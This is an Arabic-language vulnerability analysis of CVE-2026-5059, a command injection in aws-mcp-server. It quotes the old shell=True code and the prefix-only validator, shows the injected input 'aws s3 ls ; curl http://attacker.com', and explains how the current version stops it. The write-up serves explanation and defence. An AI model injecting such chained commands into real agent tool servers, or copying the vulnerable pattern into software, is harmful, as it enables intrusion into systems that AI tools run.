
إثبات مفهوم لـ CVE-2026-5059، وهو حقن أوامر في aws-mcp-server عبر shell=True والتحقق غير المكتمل، مع تحليل الكود المعرّض للثغرة والمصحّح.
أين توجد CVE-2026-5059 في الكود؟ توجد الثغرة في ملفين يعملان معًا:
الملف 1: tools.py — السبب الجذري استخدمت النسخة القديمة shell=True في execute_piped_command(): python# OLD VULNERABLE CODE process = subprocess.run( command, # ← raw string passed to shell shell=True, # ← THIS is the problem ... ) عندما تكون shell=True، يفسّر shell نظام التشغيل السلسلة الكاملة بما في ذلك ; و && و || والعلامات الخلفية — لذا فإن أي شيء بعد ; يُنفَّذ كأمر منفصل.
الملف 2: security.py — الحماية غير المكتملة كان المدقّق يتحقق فقط من أن الأمر يبدأ بـ aws: python# OLD VULNERABLE CODE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← stops here, no check on what comes after the pipe لذا اجتاز aws s3 ls ; curl http://attacker.com عملية التحقق — فهو يبدأ بـ aws — ثم نفّذ shell=True كلا الجزأين.
لماذا تختلف النسخة الحالية (v1.7.0) بالنظر إلى الكود الفعلي اليوم، اختفت كلتا المشكلتين: python# CURRENT CODE in cli_executor.py cmd_parts = shlex.split(command) # splits into a list subprocess.run(cmd_parts, shell=False) # list-based, no shell interpretation وتم حذف security.py بالكامل — واستُبدل بـ OS sandbox (Landlock/bwrap/Seatbelt). أصبح ; الآن غير ضار: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess gets ';' as a literal argument to aws → AWS CLI ignores it, no second command runs
ملخص في سطر واحد Vulnerable versionCurrent v1.7.0Executionshell=True + stringshell=False + listValidationstartswith("aws") onlyOS-level sandbox; handlingExecuted by shellTreated as literal text تم تسجيل CVE ضد النسخة القديمة. نشرته ZDI كـ 0-day لأن المورّد رفض التقرير — لكن البنية كانت قد ابتعدت بالفعل عن shell=True قبل نشر CVE.